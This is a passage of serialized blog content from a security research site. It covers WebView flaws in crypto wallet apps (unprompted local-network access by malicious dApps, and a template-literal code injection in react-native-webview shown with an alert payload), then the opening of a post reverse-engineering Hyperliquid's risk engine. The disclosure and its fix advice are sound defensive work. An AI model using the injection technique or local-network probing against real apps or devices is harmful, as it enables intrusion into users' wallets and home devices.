:139,"props":156278,"children":156279},{"style":30263},[156280],{"type":28,"value":30317},{"type":23,"tag":139,"props":156282,"children":156283},{"style":279},[156284],{"type":28,"value":30270},{"type":23,"tag":139,"props":156286,"children":156287},{"style":30263},[156288],{"type":28,"value":3995},{"type":23,"tag":16900,"props":156290,"children":156291},{"id":2226},[156292],{"type":28,"value":2229},{"type":23,"tag":24,"props":156294,"children":156295},{},[156296],{"type":28,"value":156297},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":23,"tag":24,"props":156299,"children":156300},{},[156301,156303,156309],{"type":28,"value":156302},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":23,"tag":64,"props":156304,"children":156307},{"href":156305,"rel":156306},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[68],[156308],{"type":28,"value":45481},{"type":28,"value":73},{"type":23,"tag":29233,"props":156311,"children":156312},{"style":29235},[156313],{"type":23,"tag":429,"props":156314,"children":156318},{"src":156315,"alt":156316,"style":156317},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":156320,"children":156321},{},[156322],{"type":28,"value":156323},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":23,"tag":41,"props":156325,"children":156327},{"id":156326},"local-network-access",[156328],{"type":28,"value":156329},"Local Network Access",{"type":23,"tag":24,"props":156331,"children":156332},{},[156333,156335,156342,156344,156350],{"type":28,"value":156334},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":23,"tag":64,"props":156336,"children":156339},{"href":156337,"rel":156338},"https://wicg.github.io/private-network-access/",[68],[156340],{"type":28,"value":156341},"Private Network Access",{"type":28,"value":156343}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":23,"tag":64,"props":156345,"children":156348},{"href":156346,"rel":156347},"https://x.com/taviso/status/2051310678800253318",[68],[156349],{"type":28,"value":156346},{"type":28,"value":156351},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":23,"tag":29233,"props":156353,"children":156354},{"style":29235},[156355],{"type":23,"tag":429,"props":156356,"children":156359},{"src":156357,"alt":156316,"style":156358},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":156361,"children":156362},{},[156363],{"type":28,"value":156364},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":23,"tag":156366,"props":156367,"children":156370},"zoom-image",{"src":156368,"alt":156369},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":23,"tag":24,"props":156372,"children":156373},{},[156374],{"type":28,"value":156375},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":23,"tag":14699,"props":156377,"children":156378},{},[156379,156384,156389],{"type":23,"tag":801,"props":156380,"children":156381},{},[156382],{"type":28,"value":156383},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":23,"tag":801,"props":156385,"children":156386},{},[156387],{"type":28,"value":156388},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":23,"tag":801,"props":156390,"children":156391},{},[156392],{"type":28,"value":156393},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":23,"tag":24,"props":156395,"children":156396},{},[156397],{"type":28,"value":156398},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":23,"tag":41,"props":156400,"children":156402},{"id":156401},"uxss-by-code-injection",[156403],{"type":28,"value":156404},"UXSS by Code Injection",{"type":23,"tag":24,"props":156406,"children":156407},{},[156408,156410,156416],{"type":28,"value":156409},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":23,"tag":135,"props":156411,"children":156413},{"className":156412},[],[156414],{"type":28,"value":156415},"injectJavascriptObject",{"type":28,"value":156417}," attribute worked. Here is the code snippet:",{"type":23,"tag":128,"props":156419,"children":156421},{"className":154657,"code":156420,"language":154659,"meta":7,"style":7},"    private void injectJavascriptObject() {\n      if (getSettings().getJavaScriptEnabled()) {\n        String js = \"(function(){\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n          \"})();\";\n        evaluateJavascriptWithFallback(js);\n      }\n",[156422],{"type":23,"tag":135,"props":156423,"children":156424},{"__ignoreMap":7},[156425,156445,156474,156508,156563,156668,156680,156693],{"type":23,"tag":139,"props":156426,"children":156427},{"class":141,"line":142},[156428,156432,156436,156441],{"type":23,"tag":139,"props":156429,"children":156430},{"style":279},[156431],{"type":28,"value":68685},{"type":23,"tag":139,"props":156433,"children":156434},{"style":305},[156435],{"type":28,"value":48947},{"type":23,"tag":139,"props":156437,"children":156438},{"style":245},[156439],{"type":28,"value":156440}," injectJavascriptObject",{"type":23,"tag":139,"props":156442,"children":156443},{"style":259},[156444],{"type":28,"value":13747},{"type":23,"tag":139,"props":156446,"children":156447},{"class":141,"line":151},[156448,156452,156456,156461,156465,156470],{"type":23,"tag":139,"props":156449,"children":156450},{"style":319},[156451],{"type":28,"value":37177},{"type":23,"tag":139,"props":156453,"children":156454},{"style":259},[156455],{"type":28,"value":1042},{"type":23,"tag":139,"props":156457,"children":156458},{"style":245},[156459],{"type":28,"value":156460},"getSettings",{"type":23,"tag":139,"props":156462,"children":156463},{"style":259},[156464],{"type":28,"value":28188},{"type":23,"tag":139,"props":156466,"children":156467},{"style":245},[156468],{"type":28,"value":156469},"getJavaScriptEnabled",{"type":23,"tag":139,"props":156471,"children":156472},{"style":259},[156473],{"type":28,"value":89925},{"type":23,"tag":139,"props":156475,"children":156476},{"class":141,"line":160},[156477,156482,156487,156491,156496,156500,156504],{"type":23,"tag":139,"props":156478,"children":156479},{"style":305},[156480],{"type":28,"value":156481},"        String",{"type":23,"tag":139,"props":156483,"children":156484},{"style":294},[156485],{"type":28,"value":156486}," js",{"type":23,"tag":139,"props":156488,"children":156489},{"style":982},[156490],{"type":28,"value":985},{"type":23,"tag":139,"props":156492,"children":156493},{"style":265},[156494],{"type":28,"value":156495}," \"(function(){",{"type":23,"tag":139,"props":156497,"children":156498},{"style":46270},[156499],{"type":28,"value":46273},{"type":23,"tag":139,"props":156501,"children":156502},{"style":265},[156503],{"type":28,"value":18067},{"type":23,"tag":139,"props":156505,"children":156506},{"style":982},[156507],{"type":28,"value":7796},{"type":23,"tag":139,"props":156509,"children":156510},{"class":141,"line":169},[156511,156516,156520,156525,156529,156534,156538,156542,156546,156551,156555,156559],{"type":23,"tag":139,"props":156512,"children":156513},{"style":265},[156514],{"type":28,"value":156515},"          \"    window.\"",{"type":23,"tag":139,"props":156517,"children":156518},{"style":982},[156519],{"type":28,"value":6910},{"type":23,"tag":139,"props":156521,"children":156522},{"style":259},[156523],{"type":28,"value":156524}," JAVASCRIPT_INTERFACE ",{"type":23,"tag":139,"props":156526,"children":156527},{"style":982},[156528],{"type":28,"value":2382},{"type":23,"tag":139,"props":156530,"children":156531},{"style":265},[156532],{"type":28,"value":156533}," \" = window.\"",{"type":23,"tag":139,"props":156535,"children":156536},{"style":982},[156537],{"type":28,"value":6910},{"type":23,"tag":139,"props":156539,"children":156540},{"style":259},[156541],{"type":28,"value":156524},{"type":23,"tag":139,"props":156543,"children":156544},{"style":982},[156545],{"type":28,"value":2382},{"type":23,"tag":139,"props":156547,"children":156548},{"style":265},[156549],{"type":28,"value":156550}," \" || {};",{"type":23,"tag":139,"props":156552,"children":156553},{"style":46270},[156554],{"type":28,"value":46273},{"type":23,"tag":139,"props":156556,"children":156557},{"style":265},[156558],{"type":28,"value":18067},{"type":23,"tag":139,"props":156560,"children":156561},{"style":982},[156562],{"type":28,"value":7796},{"type":23,"tag":139,"props":156564,"children":156565},{"class":141,"line":178},[156566,156570,156574,156578,156582,156587,156591,156596,156600,156604,156608,156612,156616,156620,156625,156629,156634,156638,156643,156647,156651,156656,156660,156664],{"type":23,"tag":139,"props":156567,"children":156568},{"style":265},[156569],{"type":28,"value":156515},{"type":23,"tag":139,"props":156571,"children":156572},{"style":982},[156573],{"type":28,"value":6910},{"type":23,"tag":139,"props":156575,"children":156576},{"style":259},[156577],{"type":28,"value":156524},{"type":23,"tag":139,"props":156579,"children":156580},{"style":982},[156581],{"type":28,"value":2382},{"type":23,"tag":139,"props":156583,"children":156584},{"style":265},[156585],{"type":28,"value":156586}," \".injectedObjectJson = function () { return \"",{"type":23,"tag":139,"props":156588,"children":156589},{"style":982},[156590],{"type":28,"value":6910},{"type":23,"tag":139,"props":156592,"children":156593},{"style":259},[156594],{"type":28,"value":156595}," (injectedJavaScriptObject ",{"type":23,"tag":139,"props":156597,"children":156598},{"style":982},[156599],{"type":28,"value":6580},{"type":23,"tag":139,"props":156601,"children":156602},{"style":279},[156603],{"type":28,"value":68171},{"type":23,"tag":139,"props":156605,"children":156606},{"style":319},[156607],{"type":28,"value":95945},{"type":23,"tag":139,"props":156609,"children":156610},{"style":279},[156611],{"type":28,"value":68171},{"type":23,"tag":139,"props":156613,"children":156614},{"style":319},[156615],{"type":28,"value":33005},{"type":23,"tag":139,"props":156617,"children":156618},{"style":259},[156619],{"type":28,"value":1042},{"type":23,"tag":139,"props":156621,"children":156622},{"style":265},[156623],{"type":28,"value":156624},"\"`\"",{"type":23,"tag":139,"props":156626,"children":156627},{"style":982},[156628],{"type":28,"value":6910},{"type":23,"tag":139,"props":156630,"children":156631},{"style":259},[156632],{"type":28,"value":156633}," injectedJavaScriptObject ",{"type":23,"tag":139,"props":156635,"children":156636},{"style":982},[156637],{"type":28,"value":2382},{"type":23,"tag":139,"props":156639,"children":156640},{"style":265},[156641],{"type":28,"value":156642}," \"`\"",{"type":23,"tag":139,"props":156644,"children":156645},{"style":259},[156646],{"type":28,"value":6842},{"type":23,"tag":139,"props":156648,"children":156649},{"style":982},[156650],{"type":28,"value":2382},{"type":23,"tag":139,"props":156652,"children":156653},{"style":265},[156654],{"type":28,"value":156655}," \"; };",{"type":23,"tag":139,"props":156657,"children":156658},{"style":46270},[156659],{"type":28,"value":46273},{"type":23,"tag":139,"props":156661,"children":156662},{"style":265},[156663],{"type":28,"value":18067},{"type":23,"tag":139,"props":156665,"children":156666},{"style":982},[156667],{"type":28,"value":7796},{"type":23,"tag":139,"props":156669,"children":156670},{"class":141,"line":187},[156671,156676],{"type":23,"tag":139,"props":156672,"children":156673},{"style":265},[156674],{"type":28,"value":156675},"          \"})();\"",{"type":23,"tag":139,"props":156677,"children":156678},{"style":259},[156679],{"type":28,"value":995},{"type":23,"tag":139,"props":156681,"children":156682},{"class":141,"line":196},[156683,156688],{"type":23,"tag":139,"props":156684,"children":156685},{"style":245},[156686],{"type":28,"value":156687},"        evaluateJavascriptWithFallback",{"type":23,"tag":139,"props":156689,"children":156690},{"style":259},[156691],{"type":28,"value":156692},"(js);\n",{"type":23,"tag":139,"props":156694,"children":156695},{"class":141,"line":205},[156696],{"type":23,"tag":139,"props":156697,"children":156698},{"style":259},[156699],{"type":28,"value":10675},{"type":23,"tag":24,"props":156701,"children":156702},{},[156703,156705,156711,156713,156718,156720,156726],{"type":28,"value":156704},"It basically injects a javascript code with the ",{"type":23,"tag":135,"props":156706,"children":156708},{"className":156707},[],[156709],{"type":28,"value":156710},"injectedJavascriptObject",{"type":28,"value":156712}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":23,"tag":135,"props":156714,"children":156716},{"className":156715},[],[156717],{"type":28,"value":156710},{"type":28,"value":156719},". If we control a single attribute we can inject a payload like ",{"type":23,"tag":135,"props":156721,"children":156723},{"className":156722},[],[156724],{"type":28,"value":156725},"${alert(1)}",{"type":28,"value":156727}," and achieve XSS in the context of the loaded page.",{"type":23,"tag":24,"props":156729,"children":156730},{},[156731,156733,156740],{"type":28,"value":156732},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":23,"tag":64,"props":156734,"children":156737},{"href":156735,"rel":156736},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[68],[156738],{"type":28,"value":156739},"PR with the report and fix",{"type":28,"value":73},{"type":23,"tag":24,"props":156742,"children":156743},{},[156744],{"type":28,"value":156745},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":23,"tag":24,"props":156747,"children":156748},{},[156749,156751,156757],{"type":28,"value":156750},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":23,"tag":135,"props":156752,"children":156754},{"className":156753},[],[156755],{"type":28,"value":156756},"injectedJavaScriptObject",{"type":28,"value":156758}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":23,"tag":666,"props":156760,"children":156761},{"id":26955},[156762],{"type":28,"value":16955},{"type":23,"tag":24,"props":156764,"children":156765},{},[156766],{"type":28,"value":156767},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":23,"tag":817,"props":156769,"children":156770},{},[156771],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":156773},[156774,156778,156781,156782],{"id":154497,"depth":151,"text":154500,"children":156775},[156776,156777],{"id":154508,"depth":160,"text":154511},{"id":154583,"depth":160,"text":154586},{"id":154616,"depth":151,"text":154619,"children":156779},[156780],{"id":154806,"depth":160,"text":154809},{"id":156326,"depth":151,"text":156329},{"id":156401,"depth":151,"text":156404,"children":156783},[156784],{"id":26955,"depth":160,"text":16955},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":156789,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":156790,"description":156791,"date":156792,"author":156793,"image":156794,"isFeatured":15,"onBlogPage":15,"tags":156798,"hideToc":15,"body":156802,"_type":831,"_id":163441,"_source":833,"_file":163442,"_stem":163443,"_extension":836},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":156795,"width":156796,"height":156797},"/posts/hyperliquid-risk-engine/title.png",1456,816,[156799,156800,156801],"hyperliquid","reverse-engineering","defi",{"type":20,"children":156803,"toc":163413},[156804,156810,156818,156823,156828,156833,156845,156850,156863,156882,156888,156900,156913,156918,156949,156954,156967,156972,157163,157169,157174,157186,157192,157197,157203,157216,157250,157255,157260,157272,157278,157298,157306,157319,157325,157336,157342,157354,157359,157365,157385,157393,157399,157433,157437,157473,157478,157483,157488,157501,157538,157543,157557,157563,157568,157594,157602,157607,157635,157640,157645,157983,157988,157993,158013,158040,158045,158058,158070,158075,158080,158086,158091,158096,158110,158115,158121,158149,158186,158197,158201,158206,158211,158217,158383,158418,158423,158429,158435,158624,158637,158642,158648,158669,158674,158680,158685,158690,158702,158707,158712,158718,158723,158728,158734,158740,158753,158786,158791,161367,161635,161640,162970,162975,162980,162992,163083,163095,163100,163106,163111,163119,163124,163132,163138,163172,163183,163191,163197,163203,163208,163216,163221,163226,163234,163246,163252,163257,163263,163274,163279,163285,163290,163295,163301,163306,163309,163314,163319,163325,163330,163342,163347,163352],{"type":23,"tag":41,"props":156805,"children":156807},{"id":156806},"perpetuals",[156808],{"type":28,"value":156809},"Perpetuals",{"type":23,"tag":90,"props":156811,"children":156812},{},[156813],{"type":23,"tag":24,"props":156814,"children":156815},{},[156816],{"type":28,"value":156817},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":23,"tag":24,"props":156819,"children":156820},{},[156821],{"type":28,"value":156822},"What does that even have to do with reverse engineering?",{"type":23,"tag":41,"props":156824,"children":156825},{"id":156799},[156826],{"type":28,"value":156827},"Hyperliquid",{"type":23,"tag":24,"props":156829,"children":156830},{},[156831],{"type":28,"value":156832},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":23,"tag":24,"props":156834,"children":156835},{},[156836,156838,156843],{"type":28,"value":156837},"The node is tasked with a ",{"type":23,"tag":659,"props":156839,"children":156840},{},[156841],{"type":28,"value":156842},"very hard problem",{"type":28,"value":156844},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":23,"tag":24,"props":156846,"children":156847},{},[156848],{"type":28,"value":156849},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":23,"tag":24,"props":156851,"children":156852},{},[156853,156855,156861],{"type":28,"value":156854},"Beyond that, the ",{"type":23,"tag":135,"props":156856,"children":156858},{"className":156857},[],[156859],{"type":28,"value":156860},"hl-node",{"type":28,"value":156862}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":23,"tag":24,"props":156864,"children":156865},{},[156866,156868,156873,156875,156880],{"type":28,"value":156867},"Armed with some curiosity, a good amount of ",{"type":23,"tag":659,"props":156869,"children":156870},{},[156871],{"type":28,"value":156872},"inference",{"type":28,"value":156874},", and the right tooling, we'll take a deep dive using an ",{"type":23,"tag":659,"props":156876,"children":156877},{},[156878],{"type":28,"value":156879},"interactive interface",{"type":28,"value":156881},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":23,"tag":41,"props":156883,"children":156885},{"id":156884},"the-million-dollar-question",[156886],{"type":28,"value":156887},"The Million Dollar Question",{"type":23,"tag":24,"props":156889,"children":156890},{},[156891,156893,156898],{"type":28,"value":156892},"Let's say a terrible trader opens a ",{"type":23,"tag":659,"props":156894,"children":156895},{},[156896],{"type":28,"value":156897},"50x",{"type":28,"value":156899}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":23,"tag":24,"props":156901,"children":156902},{},[156903,156905,156911],{"type":28,"value":156904},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":23,"tag":135,"props":156906,"children":156908},{"className":156907},[],[156909],{"type":28,"value":156910},"compute_margin_requirement_by_mode",{"type":28,"value":156912}," function.",{"type":23,"tag":24,"props":156914,"children":156915},{},[156916],{"type":28,"value":156917},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":23,"tag":156919,"props":156920,"children":156921},"tip",{},[156922],{"type":23,"tag":24,"props":156923,"children":156924},{},[156925,156927,156932,156934,156941,156943,156948],{"type":28,"value":156926},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":23,"tag":659,"props":156928,"children":156929},{},[156930],{"type":28,"value":156931},"click through",{"type":28,"value":156933}," each action performed by ",{"type":23,"tag":64,"props":156935,"children":156938},{"href":156936,"rel":156937},"https://github.com/renato-osec/patina-research",[68],[156939],{"type":28,"value":156940},"our Rust reverse engineering agent",{"type":28,"value":156942},". Return to the regular view by clicking ",{"type":23,"tag":135,"props":156944,"children":156946},{"className":156945},[],[156947],{"type":28,"value":3990},{"type":28,"value":73},{"type":23,"tag":156950,"props":156951,"children":156953},"bndb-viewer-embed",{"addr":156952,"line-start":647,"line-end":132458},"0x555556bb4d20",[],{"type":23,"tag":24,"props":156955,"children":156956},{},[156957,156959,156965],{"type":28,"value":156958},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":23,"tag":135,"props":156960,"children":156962},{"className":156961},[],[156963],{"type":28,"value":156964},"OptionUnitQty",{"type":28,"value":156966},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":23,"tag":24,"props":156968,"children":156969},{},[156970],{"type":28,"value":156971},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":23,"tag":128,"props":156973,"children":156974},{},[156975],{"type":23,"tag":135,"props":156976,"children":156979},{"className":156977},[1981,156978],"math-display",[156980],{"type":23,"tag":139,"props":156981,"children":156984},{"className":156982},[156983],"katex-display",[156985],{"type":23,"tag":139,"props":156986,"children":156988},{"className":156987},[1987],[156989],{"type":23,"tag":139,"props":156990,"children":156992},{"className":156991,"ariaHidden":1993},[1992],[156993,157024],{"type":23,"tag":139,"props":156994,"children":156996},{"className":156995},[1998],[156997,157001,157011,157015,157020],{"type":23,"tag":139,"props":156998,"children":157000},{"className":156999,"style":92364},[2003],[],{"type":23,"tag":139,"props":157002,"children":157004},{"className":157003},[2009,28],[157005],{"type":23,"tag":139,"props":157006,"children":157008},{"className":157007},[2009],[157009],{"type":28,"value":157010},"liq_equity",{"type":23,"tag":139,"props":157012,"children":157014},{"className":157013,"style":2187},[2089],[],{"type":23,"tag":139,"props":157016,"children":157018},{"className":157017},[2192],[157019],{"type":28,"value":1067},{"type":23,"tag":139,"props":157021,"children":157023},{"className":157022,"style":2187},[2089],[],{"type":23,"tag":139,"props":157025,"children":157027},{"className":157026},[1998],[157028,157033],{"type":23,"tag":139,"props":157029,"children":157032},{"className":157030,"style":157031},[2003],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":23,"tag":139,"props":157034,"children":157036},{"className":157035},[2009],[157037,157041,157159],{"type":23,"tag":139,"props":157038,"children":157040},{"className":157039},[19725,111469],[],{"type":23,"tag":139,"props":157042,"children":157044},{"className":157043},[111474],[157045],{"type":23,"tag":139,"props":157046,"children":157048},{"className":157047},[2030,19650],[157049,157147],{"type":23,"tag":139,"props":157050,"children":157052},{"className":157051},[2035],[157053,157142],{"type":23,"tag":139,"props":157054,"children":157057},{"className":157055,"style":157056},[2040],"height:1.427em;",[157058,157098,157109],{"type":23,"tag":139,"props":157059,"children":157061},{"style":157060},"top:-2.314em;",[157062,157066],{"type":23,"tag":139,"props":157063,"children":157065},{"className":157064,"style":110122},[2049],[],{"type":23,"tag":139,"props":157067,"children":157069},{"className":157068},[2009],[157070,157075,157079,157084,157088],{"type":23,"tag":139,"props":157071,"children":157073},{"className":157072},[2009],[157074],{"type":28,"value":1099},{"type":23,"tag":139,"props":157076,"children":157078},{"className":157077,"style":2090},[2089],[],{"type":23,"tag":139,"props":157080,"children":157082},{"className":157081},[2095],[157083],{"type":28,"value":109213},{"type":23,"tag":139,"props":157085,"children":157087},{"className":157086,"style":2090},[2089],[],{"type":23,"tag":139,"props":157089,"children":157091},{"className":157090},[2009,28],[157092],{"type":23,"tag":139,"props":157093,"children":157095},{"className":157094},[2009],[157096],{"type":28,"value":157097},"leverage",{"type":23,"tag":139,"props":157099,"children":157100},{"style":111524},[157101,157105],{"type":23,"tag":139,"props":157102,"children":157104},{"className":157103,"style":110122},[2049],[],{"type":23,"tag":139,"props":157106,"children":157108},{"className":157107,"style":111534},[111533],[],{"type":23,"tag":139,"props":157110,"children":157112},{"style":157111},"top:-3.677em;",[157113,157117],{"type":23,"tag":139,"props":157114,"children":157116},{"className":157115,"style":110122},[2049],[],{"type":23,"tag":139,"props":157118,"children":157120},{"className":157119},[2009],[157121,157127,157137],{"type":23,"tag":139,"props":157122,"children":157124},{"className":157123},[2009],[157125],{"type":28,"value":157126},"∣",{"type":23,"tag":139,"props":157128,"children":157130},{"className":157129},[2009,28],[157131],{"type":23,"tag":139,"props":157132,"children":157134},{"className":157133},[2009],[157135],{"type":28,"value":157136},"notional",{"type":23,"tag":139,"props":157138,"children":157140},{"className":157139},[2009],[157141],{"type":28,"value":157126},{"type":23,"tag":139,"props":157143,"children":157145},{"className":157144},[19753],[157146],{"type":28,"value":19756},{"type":23,"tag":139,"props":157148,"children":157150},{"className":157149},[2035],[157151],{"type":23,"tag":139,"props":157152,"children":157155},{"className":157153,"style":157154},[2040],"height:0.8804em;",[157156],{"type":23,"tag":139,"props":157157,"children":157158},{},[],{"type":23,"tag":139,"props":157160,"children":157162},{"className":157161},[19747,111469],[],{"type":23,"tag":41,"props":157164,"children":157166},{"id":157165},"what-if-nobody-wants-to-buy-the-position",[157167],{"type":28,"value":157168},"What If Nobody Wants to Buy the Position?",{"type":23,"tag":24,"props":157170,"children":157171},{},[157172],{"type":28,"value":157173},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":23,"tag":24,"props":157175,"children":157176},{},[157177,157179,157184],{"type":28,"value":157178},"When that happens, the exchange is basically left with a ",{"type":23,"tag":659,"props":157180,"children":157181},{},[157182],{"type":28,"value":157183},"hot potato",{"type":28,"value":157185}," to get rid of: what should it even do with the debt?",{"type":23,"tag":33262,"props":157187,"children":157189},{"id":157188},"the-risk-engine",[157190],{"type":28,"value":157191},"The Risk Engine",{"type":23,"tag":24,"props":157193,"children":157194},{},[157195],{"type":28,"value":157196},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":23,"tag":41,"props":157198,"children":157200},{"id":157199},"clearing-up-bad-debt",[157201],{"type":28,"value":157202},"Clearing Up Bad Debt",{"type":23,"tag":24,"props":157204,"children":157205},{},[157206,157207,157214],{"type":28,"value":14625},{"type":23,"tag":64,"props":157208,"children":157211},{"href":157209,"rel":157210},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[68],[157212],{"type":28,"value":157213},"Hyperliquid docs",{"type":28,"value":157215}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":23,"tag":24,"props":157217,"children":157218},{},[157219,157221,157232,157234,157240,157242,157248],{"type":28,"value":157220},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":23,"tag":64,"props":157222,"children":157225},{"href":157223,"rel":157224},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[68],[157226],{"type":23,"tag":135,"props":157227,"children":157229},{"className":157228},[],[157230],{"type":28,"value":157231},"Clearinghouse",{"type":28,"value":157233},", a struct containing all liquidation-related info, nested within a bigger ",{"type":23,"tag":135,"props":157235,"children":157237},{"className":157236},[],[157238],{"type":28,"value":157239},"Exchange",{"type":28,"value":157241}," data structure. This is an example of what it might hold when serialized as ",{"type":23,"tag":135,"props":157243,"children":157245},{"className":157244},[],[157246],{"type":28,"value":157247},"MessagePack",{"type":28,"value":157249}," at runtime.",{"type":23,"tag":24,"props":157251,"children":157252},{},[157253],{"type":28,"value":157254},"This data will come in handy both for us and the agent.",{"type":23,"tag":157256,"props":157257,"children":157259},"file-download",{"path":157258},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":23,"tag":24,"props":157261,"children":157262},{},[157263,157265,157270],{"type":28,"value":157264},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":23,"tag":135,"props":157266,"children":157268},{"className":157267},[],[157269],{"type":28,"value":157231},{"type":28,"value":157271},". Some renaming later, we can infer something like this:",{"type":23,"tag":156950,"props":157273,"children":157277},{"source":157274,"target":157275,"direction":157276},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":23,"tag":24,"props":157279,"children":157280},{},[157281,157283,157288,157290,157296],{"type":28,"value":157282},"We have one huge function handling all clearinghouse operations, which we call ",{"type":23,"tag":135,"props":157284,"children":157286},{"className":157285},[],[157287],{"type":28,"value":157275},{"type":28,"value":157289},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":23,"tag":135,"props":157291,"children":157293},{"className":157292},[],[157294],{"type":28,"value":157295},"exchange_end_block",{"type":28,"value":157297},". So, at the end of each block we run some checks.",{"type":23,"tag":156919,"props":157299,"children":157300},{},[157301],{"type":23,"tag":24,"props":157302,"children":157303},{},[157304],{"type":28,"value":157305},"Click on any address or line on the left side to get a detailed view 